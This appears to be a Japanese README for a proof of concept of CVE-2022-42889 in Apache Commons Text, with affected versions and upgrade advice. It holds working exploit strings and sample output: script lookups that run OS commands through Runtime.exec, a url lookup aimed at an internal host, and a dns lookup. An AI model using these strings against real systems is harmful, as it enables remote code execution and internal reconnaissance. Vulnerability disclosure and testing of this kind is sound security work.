これは、脆弱性 CVE-2022-42889 の Proof of Concept です。このコードは JavaScript コード 195 + 324 を実行します。脆弱性がある場合、出力は次のようになります:
PoC Output: 519
これを実行するには、以下が必要です:
エクスプロイト文字列を求められたら、独自のエクスプロイト文字列を入力するか(Enter を押して文字列を入力)、または単に Enter を押してデフォルトのエクスプロイト文字列 ${script:javascript:195 + 324} を使用できます。
または、Docker を使用してこの PoC を実行することもできます:
docker build -t poc .
docker run -it poc
問題は、次のキーがデフォルトでは補間されるべきではないという事実に起因します(ドキュメント https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html による):
scriptdnsurlこのルックアップは、指定された JavaScript コードを実行できるようにします。その結果、攻撃者はシステム上で任意のコードを実行できるようになります。
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
PoC での例:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
このルックアップは、指定された URL を呼び出します。攻撃者はこれを利用して、内部リソースへの基本的な GET リクエストを実行できる可能性があります。
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
PoC での例:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
このルックアップは、DNS クエリまたは逆引きを実行します。これにより、攻撃者は内部リソースを特定できる可能性があります。
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
PoC での例:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
しかし、ロジックの欠陥により、これら 3 つのキーはデフォルトで補間されますが、そうすべきではありません(セキュリティリスクを表す可能性があるため)。
影響を受ける StringSubstitutor の replace に渡される文字列を制御できる攻撃者は、以下を実行できる可能性があります:
StringSubstitutor コードを実行しているシステム(通常はサーバー)上で JavaScript コードを実行するコードが脆弱性の影響を受けるには、以下が必要です:
Apache commons-text のバージョン 1.5.0 から 1.10.0 未満を実行していること
StringSubstituion に Interpolation を使用していること(https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html を参照)
JDK 15 以降では、JavaScript エンジン Nashorn が含まれなくなることに注意してください。ただし、JEXL エンジンは引き続き含まれており、その結果 RCE が依然として可能である可能性があります。
この修正は、commons-text のインスタンスをバージョン 1.10.0 以降に更新することです。
他のデフォルトのルックアップも、依然としてセキュリティリスクを表す可能性があります(ファイルのコンテンツを読み取る機能、システムプロパティを読み取る機能など)。この機能は注意して使用し、すべてのユーザー入力が適切にサニタイズされるようにしてください(たとえば、許可リストを通過させるなど)。